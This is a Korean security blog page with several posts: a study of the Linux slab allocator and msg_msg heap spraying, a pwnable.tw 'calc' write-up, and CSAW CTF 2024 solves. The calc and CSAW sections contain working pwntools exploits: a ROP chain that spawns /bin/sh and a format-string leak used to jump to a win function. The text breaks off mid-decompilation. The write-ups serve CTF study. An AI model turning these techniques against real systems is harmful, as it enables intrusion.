ssongk

[Linux Kernel Exploit] Slab Allocator & msg_msg Struct

ssongk — Thu, 3 Oct 2024 20:39:58 +0900

1. 개요

리눅스 커널 익스플로잇을 공부하다 보면 힙 스프레이 라는 개념이 등장합니다. 스프레이는 직역하면 무언가를 뿌리는 것 인데요. 익스플로잇 관점으로 다시 해석하면 무언가를 뿌리는데 힙 영역에 객체를 뿌리는 것 입니다. 스프레이가 필요한 이유는 리눅스 커널의 randomized free list 때문인데요. 이번 글에선 힙 스프레이에 자주 사용되는 msg_msg 구조체의 구조에 대해 간략히 알아보도록 하겠습니다.

2. Slab Allocator

msg_msg 구조체에 대해 알아보기에 앞서 리눅스 커널의 할당자(Allocator)에 대해 알아보겠습니다. 현재 리눅스 커널은 Slab Allocator를 사용하며 유저 영역의 힙과는 다르게 동작합니다. 구조를 보면 크게 cache라는 덩어리 안에 slab이 존재하며 slab 안에는 slot이 존재합니다. 커널에 힙 할당을 요청하면 free slot들 중 하나가 할당되고 object가 만들어집니다.

pwn.college

커널에서 free 상태의 object들은 freelist로 관리되는데 linked list 구조를 가집니다.

pwn.college

다시 재할당될 때는 마지막에 해제한 object가 재할당되는 LIFO 구조를 가지고 있습니다. free slot에는 다음 free slot을 가리키는 next 포인터가 존재하는데 slot의 중간에 존재합니다.

pwn.college

3. freelist randomization & harden freelist

freed slot 주소들이 저장된 freelist에는 보호기법이 적용되어 있습니다. 깊게 인터널스까지 보진 않고 간단하게 개념만 살펴보도록 하겠습니다.

먼저 randomization은 slab 내부에서 slot이 할당되는 순서가 랜덤이 됩니다. 즉, slot 하나의 주소를 안다고 하더라고 해당 slot의 다음 주소는 object 사이즈를 더한 주소가 되는 것이 아니라는 의미입니다. 이 freelist randomization을 극복하기 위해 힙 스프레이가 등장했습니다.

pwn.college

힙 스프레이는 UAF가 발생될 때 많이 쓰이며 같은 slab에 최대한 많은 attacker object를 할당받아서 다음에 할당될 object가 조작할 수 있는 attacker object가 될 확률을 높히는데에 목적을 두고 있습니다.

pwn.college

다음으로 harden freelist는 safe liking처럼 next 포인터에 특정한 연산을 수행해 보안성을 높이는 기술입니다. 다음과 같은 구조로 이루어진다고 하는데 코드 자체를 이해하려 하진 않고 이렇게 연산하는구나 하고 넘어갔습니다.

pwn.college

이를 극복하기 위해선 2개의 next 포인터를 릭해야 합니다. 하나는 다음 slot을 가리키는 next 포인터이고, 다른 하나는 null을 가리키는() next 포인터 입니다. 2개를 xor 연산한 값을 원하는 주소와 xor 연산하게 되면 next slot이 원하는 주소가 될 수 있도록 조작할 수 있습니다.

4. msg_msg struct

이제 드디어 msg_msg에 대해 알아보겠습니다. msg_msg는 IPC에서 사용된다고 합니다. 유저가 원하는대로 크기를 조작해서 kmalloc-64부터 kmalloc-4k까지 slot을 할당받을 수 있다는 점이 매력적이기 때문에 주로 사용하는 것 같습니다. msg_msg는 다음과 같이 총 0x30만큼의 크기를 가지고 있습니다. list_head의 크기가 0x10으로 prev, next 포인터를 가지고 있습니다.

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

5. do_msgsnd()

메시지를 보낼 때 유저 영역에서 msgsnd() 함수를 사용합니다. msgsnd()가 호출되면 커널에서 do_msgsnd() -> load_msg() -> alloc_msg() 순으로 호출되면서 메시지 헤더와 메시지 데이터를 포함하는 데 필요한 객체를 할당합니다. msgsnd()를 호출할 땐 다음과 같이 사용합니다. mtext 배열은 원하는 사이즈만큼 설정해서 보내면 됩니다. mtype은 1로 지정합니다.

struct msgbuf
{
    long mtype;
    char mtext[0x1fc8];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), IPC_NOWAIT);

먼저 do_msgsnd()는 다음과 같으며 msgsz, msqid, mtype를 검사하고 load_msg()를 호출합니다.

static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg)
{
	struct msg_queue *msq;
	struct msg_msg *msg;
	int err;
	struct ipc_namespace *ns;
	DEFINE_WAKE_Q(wake_q);

	ns = current->nsproxy->ipc_ns;

	if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
		return -EINVAL;
	if (mtype < 1)
		return -EINVAL;

	msg = load_msg(mtext, msgsz);
	if (IS_ERR(msg))
		return PTR_ERR(msg);

	msg->m_type = mtype;
	msg->m_ts = msgsz;

	rcu_read_lock();
	msq = msq_obtain_object_check(ns, msqid);
	if (IS_ERR(msq)) {
		err = PTR_ERR(msq);
		goto out_unlock1;
	}

	...
}

load_msg에서 메시지 내용을 저장합니다. 저장 공간은 alloc_msg() 함수에서 할당 받습니다.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len);
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}

	err = security_msg_msg_alloc(msg);
	if (err)
		goto out_err;

	return msg;

out_err:
	free_msg(msg);
	return ERR_PTR(err);
}

alloc_msg에서 kmalloc으로 보낸 메시지를 저장할 object를 할당 받습니다.

struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

alloc_msg를 살펴보면 min(len, DATALEN_MSG)의 결과 값인 alen이 kmalloc의 사이즈로 사용됩니다. DATALEN_MSG는 PAGE_SIZE(0x1000)에서 msg_msg의 사이즈 값(0x30)을 뺀 값입니다. 즉, 한 번에 최대 0xfd0만큼 메세지가 할당됩니다. 이후 len -= alen해서 남은 len에 대해선 segment에 저장되며 단일 연결 리스트로 관리됩니다.

세그먼트는 min(len, DATALEN_SEG)의 결과 값인 alen이 kmalloc의 사이즈로에 사용됩니다. 최대 값은 0x1000-0x8인 0xff8 입니다. 할당받은 세그먼트는 msg_msgseg->next에 저장됩니다. while 문을 반복하면서 len이 0이 될 때까지 반복하면서 세그먼트 리스트를 만들어 줍니다. 이렇게 만들어진 세그먼트 리스트는 msg->next에 저장되며 아래 그림과 같은 구조를 가집니다.

https://syst3mfailure.io/wall-of-perdition/

6. do_msgrcv()

메시지를 보내는 것을 알아봤으니 이제 받는 것을 알아보겠습니다. msgrcv() 함수를 이용하며 다음과 같이 사용할 수 있습니다. 위에서 msgsnd() 함수와 플래그 값이 다르네요.

void *memdump = malloc(0x1fc8);
msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY);

유저 영역에서 msgrcv() 함수를 호출하면 커널은 ksys_msgrcv() -> do_msgrcv() 순으로 호출합니다.

long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz, long msgtyp, int msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

ksys_msgrcv() 함수에서 do_msgrcv() 함수의 여섯 번째 인자인 함수 포인터 msg_handler를 do_msg_fill() 로 설정한 뒤 do_msgrcv() 함수를 호출합니다.

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
	int mode;
	struct msg_queue *msq;
	struct ipc_namespace *ns;
	struct msg_msg *msg, *copy = NULL;
	DEFINE_WAKE_Q(wake_q);

	ns = current->nsproxy->ipc_ns;

	if (msqid < 0 || (long) bufsz < 0)
		return -EINVAL;

	if (msgflg & MSG_COPY) {
		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
	mode = convert_mode(&msgtyp, msgflg);

	rcu_read_lock();
	msq = msq_obtain_object_check(ns, msqid);
	if (IS_ERR(msq)) {
		rcu_read_unlock();
		free_copy(copy);
		return PTR_ERR(msq);
	}

	for (;;) {
		struct msg_receiver msr_d;

		msg = ERR_PTR(-EACCES);
		if (ipcperms(ns, &msq->q_perm, S_IRUGO))
			goto out_unlock1;

		ipc_lock_object(&msq->q_perm);

		/* raced with RMID? */
		if (!ipc_valid_object(&msq->q_perm)) {
			msg = ERR_PTR(-EIDRM);
			goto out_unlock0;
		}

		msg = find_msg(msq, &msgtyp, mode);
		if (!IS_ERR(msg)) {
			/*
			 * Found a suitable message.
			 * Unlink it from the queue.
			 */
			if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
				msg = ERR_PTR(-E2BIG);
				goto out_unlock0;
			}
			/*
			 * If we are copying, then do not unlink message and do
			 * not update queue parameters.
			 */
			if (msgflg & MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}

			list_del(&msg->m_list);
			msq->q_qnum--;
			msq->q_rtime = ktime_get_real_seconds();
			ipc_update_pid(&msq->q_lrpid, task_tgid(current));
			msq->q_cbytes -= msg->m_ts;
			percpu_counter_sub_local(&ns->percpu_msg_bytes, msg->m_ts);
			percpu_counter_sub_local(&ns->percpu_msg_hdrs, 1);
			ss_wakeup(msq, &wake_q, false);

			goto out_unlock0;
		}

		/* No message waiting. Wait for a message */
		if (msgflg & IPC_NOWAIT) {
			msg = ERR_PTR(-ENOMSG);
			goto out_unlock0;
		}

		list_add_tail(&msr_d.r_list, &msq->q_receivers);
		msr_d.r_tsk = current;
		msr_d.r_msgtype = msgtyp;
		msr_d.r_mode = mode;
		if (msgflg & MSG_NOERROR)
			msr_d.r_maxsize = INT_MAX;
		else
			msr_d.r_maxsize = bufsz;

		/* memory barrier not require due to ipc_lock_object() */
		WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

		/* memory barrier not required, we own ipc_lock_object() */
		__set_current_state(TASK_INTERRUPTIBLE);

		ipc_unlock_object(&msq->q_perm);
		rcu_read_unlock();
		schedule();

		/*
		 * Lockless receive, part 1:
		 * We don't hold a reference to the queue and getting a
		 * reference would defeat the idea of a lockless operation,
		 * thus the code relies on rcu to guarantee the existence of
		 * msq:
		 * Prior to destruction, expunge_all(-EIRDM) changes r_msg.
		 * Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
		 */
		rcu_read_lock();

		/*
		 * Lockless receive, part 2:
		 * The work in pipelined_send() and expunge_all():
		 * - Set pointer to message
		 * - Queue the receiver task for later wakeup
		 * - Wake up the process after the lock is dropped.
		 *
		 * Should the process wake up before this wakeup (due to a
		 * signal) it will either see the message and continue ...
		 */
		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN)) {
			/* see MSG_BARRIER for purpose/pairing */
			smp_acquire__after_ctrl_dep();

			goto out_unlock1;
		}

		 /*
		  * ... or see -EAGAIN, acquire the lock to check the message
		  * again.
		  */
		ipc_lock_object(&msq->q_perm);

		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN))
			goto out_unlock0;

		list_del(&msr_d.r_list);
		if (signal_pending(current)) {
			msg = ERR_PTR(-ERESTARTNOHAND);
			goto out_unlock0;
		}

		ipc_unlock_object(&msq->q_perm);
	}

out_unlock0:
	ipc_unlock_object(&msq->q_perm);
	wake_up_q(&wake_q);
out_unlock1:
	rcu_read_unlock();
	if (IS_ERR(msg)) {
		free_copy(copy);
		return PTR_ERR(msg);
	}

	bufsz = msg_handler(buf, msg, bufsz);
	free_msg(msg);

	return bufsz;
}

간단하게 살펴보면 find_msg로 msg_msg 구조체 가져와서 검사한 뒤 msg_hander로 설정된 do_msg_fill() 함수로 넘어가는 구조임을 알 수 있습니다. do_msg_fill()를 수행하고 나면 free_msg()를 호출합니다. 먼저 do_msg_fill() 함수부터 보시죠!

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
	struct msgbuf __user *msgp = dest;
	size_t msgsz;

	if (put_user(msg->m_type, &msgp->mtype))
		return -EFAULT;

	msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
	if (store_msg(msgp->mtext, msg, msgsz))
		return -EFAULT;
	return msgsz;
}

요청된 크기와 저장된 크기를 비교해서 요청 크기 > 저장 크기일 경우 저장된 크기만큼만 사이즈로 설장해준 뒤 store_msg() 함수를 호출합니다.

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
	size_t alen;
	struct msg_msgseg *seg;

	alen = min(len, DATALEN_MSG);
	if (copy_to_user(dest, msg + 1, alen))
		return -1;

	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		dest = (char __user *)dest + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_to_user(dest, seg + 1, alen))
			return -1;
	}
	return 0;
}

copy_to_user 함수로 지정된 사이즈만큼 커널에서 복사해줍니다. 이제 do_msg_fill()함수가 끝났으니 free_msg() 함수를 살펴보겠습니다.

void free_msg(struct msg_msg *msg)
{
	struct msg_msgseg *seg;

	security_msg_msg_free(msg);

	seg = msg->next;
	kfree(msg);
	while (seg != NULL) {
		struct msg_msgseg *tmp = seg->next;

		cond_resched();
		kfree(seg);
		seg = tmp;
	}
}

msgsnd() 함수에서 할당 받은 msg_msg 구조체 안에 존재하는 세그먼트를 포함한 모든 구조체들을 해제해줍니다. 그런데 해제가 되지 않는 구조체도 있습니다. do_msgrcv() 함수를 살펴보면 중간에 플래그에 MSG_COPY가 있으면 prepare_copy(), copy_msg() 함수를 호출하는 부분이 존재하는데요. 해당 부분을 살펴보겠습니다.

	if (msgflg & MSG_COPY) {
		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
    ...
    	msg = find_msg(msq, &msgtyp, mode);
		if (!IS_ERR(msg)) {
			...
			if (msgflg & MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}

prepare_copy() 함수를 호출하면 msg_msg 구조체를 할당 받습니다.

static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
	struct msg_msg *copy;

	/*
	 * Create dummy message to copy real message to.
	 */
	copy = load_msg(buf, bufsz);
	if (!IS_ERR(copy))
		copy->m_ts = bufsz;
	return copy;
}

이후 copy_msg() 함수에서 memcpy() 함수로 msg의 내용을 copy에 복사합니다. 이렇게 생성된 복사본은 리턴되어 msg에 저장되고 free_msg() 함수에 의해 해제되지만 원본은 남아 있게 됩니다.

struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
	struct msg_msgseg *dst_pseg, *src_pseg;
	size_t len = src->m_ts;
	size_t alen;

	if (src->m_ts > dst->m_ts)
		return ERR_PTR(-EINVAL);

	alen = min(len, DATALEN_MSG);
	memcpy(dst + 1, src + 1, alen);

	for (dst_pseg = dst->next, src_pseg = src->next;
	     src_pseg != NULL;
	     dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

		len -= alen;
		alen = min(len, DATALEN_SEG);
		memcpy(dst_pseg + 1, src_pseg + 1, alen);
	}

	dst->m_type = src->m_type;
	dst->m_ts = src->m_ts;

	return dst;
}

https://syst3mfailure.io/wall-of-perdition/

https://pwn.college/software-exploitation/kernel-exploitation/

[pwnable.tw] calc write-up

ssongk — Tue, 17 Sep 2024 22:52:59 +0900

어렵네 ㅋㅋ

시간 제한이 걸려있는 계산기다.

편의를 위해 변수 이름을 바꾸고 구조체를 만들었다.

00000000 pool_st         struc ; (sizeof=0x194, mappedto_16)
00000000                                         ; XREF: calc/r
00000000 pool_idx        dd ?                    ; XREF: calc+7D/r
00000004 buf             dd 100 dup(?)           ; XREF: calc+86/r
00000194 pool_st         ends
00000194

메인 함수는 계산기 함수 calc를 호출해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(0xE, timeout);
  alarm(0x3C);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

계산식을 입력받아서 계산해주는 구조를 가지고 있다.

unsigned int calc()
{
  pool_st pool; // [esp+18h] [ebp-5A0h] BYREF
  char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(expr, 0x400u);
    if ( !get_expr(expr, 0x400) )
      break;
    init_pool(&pool);
    if ( parse_expr(expr, &pool) )
    {
      printf("%d\n", pool.buf[pool.pool_idx - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ canary;
}

계산식에는 0~9까지와 연산 기호만 입력할 수 있게 되어 있다.

int __cdecl get_expr(char *expr_1, int size)
{
  int idx_; // eax
  char expr; // [esp+1Bh] [ebp-Dh] BYREF
  int idx; // [esp+1Ch] [ebp-Ch]

  idx = 0;
  while ( idx < size && read(0, (int)&expr, 1) != 0xFFFFFFFF && expr != '\n' )
  {
    if ( expr == '+' || expr == '-' || expr == '*' || expr == '/' || expr == '%' || expr > 0x2F && expr <= 0x39 )
    {
      idx_ = idx++;
      expr_1[idx_] = expr;
    }
  }
  expr_1[idx] = 0;
  return idx;
}

pool은 임시 버퍼로 할용되는 것 같은데 계산할 때 마다 초기화해준다.

pool_st *__cdecl init_pool(pool_st *pool)
{
  pool_st *result; // eax
  int idx; // [esp+Ch] [ebp-4h]

  result = pool;
  pool->pool_idx = 0;
  for ( idx = 0; idx <= 0x63; ++idx )
  {
    result = pool;
    pool->buf[idx] = 0;
  }
  return result;
}

계산식을 해석해서 계산하는 함수를 호출해주는 함수다.

int __cdecl parse_expr(char *expr1, pool_st *pool)
{
  int pool_idx; // eax
  char *expr2; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int idx; // [esp+28h] [ebp-80h]
  char *size; // [esp+2Ch] [ebp-7Ch]
  char *op; // [esp+30h] [ebp-78h]
  int op_num; // [esp+34h] [ebp-74h]
  char expr_result[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  expr2 = expr1;
  idx = 0;
  bzero(expr_result, 0x64u);
  for ( i = 0; ; ++i )
  {
    // not number
    if ( (unsigned int)(expr1[i] - 0x30) > 9 )
    {
      size = (char *)(&expr1[i] - expr2);
      op = (char *)malloc(size + 1);
      memcpy(op, expr2, size);
      op[(_DWORD)size] = 0;
      if ( !strcmp(op, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      op_num = atoi(op);
      if ( op_num > 0 )
      {
        pool_idx = pool->pool_idx++;
        pool->buf[pool_idx] = op_num;
      }
      if ( expr1[i] && expr1[i + 1] - (unsigned int)'0' > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      expr2 = &expr1[i + 1];
      if ( expr_result[idx] )
      {
        switch ( expr1[i] )
        {
          case '%':
          case '*':
          case '/':
            if ( expr_result[idx] != '+' && expr_result[idx] != '-' )
              goto LABEL_14;
            expr_result[++idx] = expr1[i];
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, expr_result[idx]);
            expr_result[idx] = expr1[i];
            break;
          default:
            eval(pool, expr_result[idx--]);
            break;
        }
      }
      else
      {
        expr_result[idx] = expr1[i];
      }
      if ( !expr1[i] )
        break;
    }
  }
  while ( idx >= 0 )
    eval(pool, expr_result[idx--]);
  return 1;
}

실제 계산을 수행하는 함수다.

pool_st *__cdecl eval(pool_st *pool, char expr)
{
  pool_st *result; // eax

  if ( expr == '+' )
  {
    pool->buf[pool->pool_idx - 2] += pool->buf[pool->pool_idx - 1];
  }
  else if ( expr > '+' )
  {
    if ( expr == '-' )
    {
      pool->buf[pool->pool_idx - 2] -= pool->buf[pool->pool_idx - 1];
    }
    else if ( expr == '/' )
    {
      pool->buf[pool->pool_idx - 2] /= pool->buf[pool->pool_idx - 1];
    }
  }
  else if ( expr == '*' )
  {
    pool->buf[pool->pool_idx - 2] *= pool->buf[pool->pool_idx - 1];
  }
  result = pool;
  --pool->pool_idx;
  return result;
}

parse_expr 함수를 보면 op_num과 0을 signed로 비교한다.

      if ( op_num > 0 )
      {
        pool_idx = pool->pool_idx++;
        pool->buf[pool_idx] = op_num;
      }

맨 앞에 숫자가 아닌 연산 기호를 쓰게 되면
pool_idx를 바꿀 수 있고 AAW를 할 수 있게 된다.

그걸 이용해서 pool 영역 아래에 rop 페이로드를 작성하고 해당 주소로 점프하도록 만들면 된다.

pool 영역은 계속해서 초기화되기 때문에 pool 영역 아래에 페이로드를 작성했어야 했다.

(32비트이므로 syscall이 아닌 int 0x80을 사용)

from pwn import *

context.log_level = 'debug'

# p = process('./calc')
p = remote('chall.pwnable.tw', 10100)

p.recvline()
pay = b'-8'
p.sendline(pay)
binsh = (int(p.recvline().decode(),10) + 0x320) & 0xffffffff
print('[binsh]',hex(binsh))

# /bin/sh
pay = b'+560+'+str(0x6e69622f).encode()
p.sendline(pay)
p.recvline()
pay = b'+561-'+str(0x6e69622f-0x0068732f).encode()
p.sendline(pay)
p.recvline()

# pop eax
pay = b'+569+'+str(0x0805c34b).encode()
p.sendline(pay)
p.recvline()

pay = b'+570-'+str(0x0805c34b-0xb).encode()
p.sendline(pay)
p.recvline()

# pop edx ; pop ecx ; pop ebx ; ret
pay = b'+571+'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+572-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+573-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+574-'+str(0x100000000-binsh+(0x080701d0-0x0805c34b+0xb)).encode()
p.sendline(pay)
p.recvline()

# int 0x80
pay = b'+575+'+str(0x08049a21 - ((0x100000000-binsh)+(0x080701d0-0x0805c34b+0xb))).encode()
p.sendline(pay)
p.recvline()

# eip control
# 0x080493f2
# add esp, 8ECh
pay = b'-7+55851'
p.sendline(pay)

p.interactive()

'''
/bin/sh
6e69622f   1852400175
0068732f   6845231

0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

0x08056E1D : add esp, 8ECh
'''

CSAW CTF 2024 Quals (Pwn)

ssongk — Sun, 15 Sep 2024 00:16:56 +0900

[ solved ]

mini-golfing

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+0h] [rbp-510h] BYREF
  __int64 v5; // [rsp+8h] [rbp-508h]
  char v6[1264]; // [rsp+10h] [rbp-500h] BYREF
  void (__fastcall *v7)(const char *, _QWORD); // [rsp+500h] [rbp-10h] BYREF
  void (__fastcall *v8)(const char *, _QWORD); // [rsp+508h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(_bss_start);
  fflush(stdin);
  *s = 0LL;
  v5 = 0LL;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to PWN GOLF.");
  printf("Would you like to enter your name? ");
  fgets(s, 0x400, stdin);
  printf("hello: ");
  printf(s);
  printf("\nAlright! Tell me the address you want to aim at!: ");
  __isoc99_scanf("%lx", &v7);
  v8 = v7;
  printf("Ok jumping to that address...");
  v8("Ok jumping to that address...", &v7);
  return 0;
}

fsb 터지고 win 함수도 있어서 간단하게 풀 수 있다.

from pwn import *

# p = process('./golf')
p = remote('golfing.ctf.csaw.io', 9999)

pay = b'%p.'*300
p.sendlineafter(b'name?',pay)
p.recvuntil(b'hello: ')

tmp = 0
while 1:
	tmp = p.recvuntil(b'.')[:-1]
	if tmp == b'(nil)':
		continue
	else:
		tmp = int(tmp,16)
		if tmp & 0xfff == 0x120:
			print('find it!')
			break

pie = tmp - 0x1120
win = pie + 0x1209
print('[win]',hex(win))

p.sendlineafter(b'at!: ',str(hex(win)))
p.interactive()

nix-philosophies

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  int v10; // [rsp+4h] [rbp-28Ch]
  int i; // [rsp+8h] [rbp-288h]
  __int64 v12; // [rsp+10h] [rbp-280h] BYREF
  __int64 v13; // [rsp+18h] [rbp-278h] BYREF
  char *v14; // [rsp+20h] [rbp-270h]
  __int64 *v15; // [rsp+28h] [rbp-268h]
  char v16[32]; // [rsp+30h] [rbp-260h] BYREF
  char v17[256]; // [rsp+50h] [rbp-240h] BYREF
  __int64 v18; // [rsp+150h] [rbp-140h] BYREF
  char v19; // [rsp+267h] [rbp-29h] BYREF
  unsigned __int64 v20; // [rsp+268h] [rbp-28h]

  v20 = __readfsqword(0x28u);
  std::string::basic_string(v16, argv, envp);
  std::operator<<<std::char_traits<char>>(&_bss_start, "Tell me what you know about *nix philosophies: ");
  std::operator>><char>(&std::cin, v16);
  v10 = 0;
  for ( i = 1; i < std::string::size(v16); ++i )
  {
    v19 = *std::string::operator[](v16, i);
    v15 = &v13;
    std::string::basic_string(v17, &v19, 1LL, &v13);
    std::__new_allocator<char>::~__new_allocator(&v13);
    v14 = v17;
    v12 = std::string::begin(v17);
    v13 = std::string::end(v14);
    while ( __gnu_cxx::operator!=<char *,std::string>(&v12, &v13) )
    {
      v10 += *__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v12);
      __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v12);
    }
    std::string::~string(v17);
  }
  read(v10 - 0x643, buf, 0x20uLL);
  if ( !strcmp("make every program a filter\n", buf) )
  {
    std::ifstream::basic_ifstream(v17, "flag.txt", 8LL);
    if ( std::ios::good(&v18) )
    {
      v3 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
      v4 = std::operator<<<std::char_traits<char>>(v3, "Welcome to pwning ^_^");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      system("/bin/cat flag.txt");
    }
    else
    {
      v5 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
      v6 = std::operator<<<std::char_traits<char>>(v5, "flag.txt: No such file or directory");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      v7 = std::operator<<<std::char_traits<char>>(
             &_bss_start,
             "If you're running this locally, then running it on the remote server should give you the flag!");
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    }
    std::ifstream::~ifstream(v17);
  }
  else
  {
    v8 = std::operator<<<std::char_traits<char>>(&_bss_start, "You still lack knowledge about *nix sorry");
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  }
  std::string::~string(v16);
  return 0;
}

대충 디버깅하면서 조건 맞춰주면 플래그가 나온다.

from pwn import *

context.log_level = 'debug'

p = process('./chal')
p = remote('nix.ctf.csaw.io', 1000)

# gdb.attach(p,
# 	'''
# 	b*main+0x1ce
# 	''')

pay = b'\x33'*0x1f + b'\x49'

p.sendlineafter(b'philosophies: ',pay)
p.sendline(b'make every program a filter')

p.interactive()

[ unsolved ]

diving-into-null

못 풀었는데 그냥 misc 느낌의 문제였다.

cd                                                           # Go to groot's home dir
echo .*                                                      # list hidden files
while FSTREAM= read -r line; do echo "$line"; done < .flag   # read the flag file

vip_blacklist

명령을 어떻게 바꿀지 고민하다가 못 풀었다.

거의 다 풀었는데 마지막에 헤맨 것 같아서 아쉽다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(stdout);
  handle_client();
  return 0;
}

unsigned __int64 handle_client()
{
  unsigned int v1; // [rsp+Ch] [rbp-A4h]
  int v2; // [rsp+10h] [rbp-A0h]
  unsigned int i; // [rsp+14h] [rbp-9Ch]
  char s2[16]; // [rsp+18h] [rbp-98h] BYREF
  FILE *stream; // [rsp+28h] [rbp-88h]
  char src[10]; // [rsp+36h] [rbp-7Ah] BYREF
  char s[32]; // [rsp+40h] [rbp-70h] BYREF
  char dest[12]; // [rsp+60h] [rbp-50h] BYREF
  int v9; // [rsp+6Ch] [rbp-44h]
  __int64 v10; // [rsp+70h] [rbp-40h]
  __int64 v11; // [rsp+78h] [rbp-38h]
  __int64 v12; // [rsp+80h] [rbp-30h]
  __int64 v13; // [rsp+88h] [rbp-28h]
  __int64 v14; // [rsp+90h] [rbp-20h]
  __int64 v15; // [rsp+98h] [rbp-18h]
  unsigned __int64 v16; // [rsp+A8h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  v1 = 0x14;
  randGen(s2);
  puts(
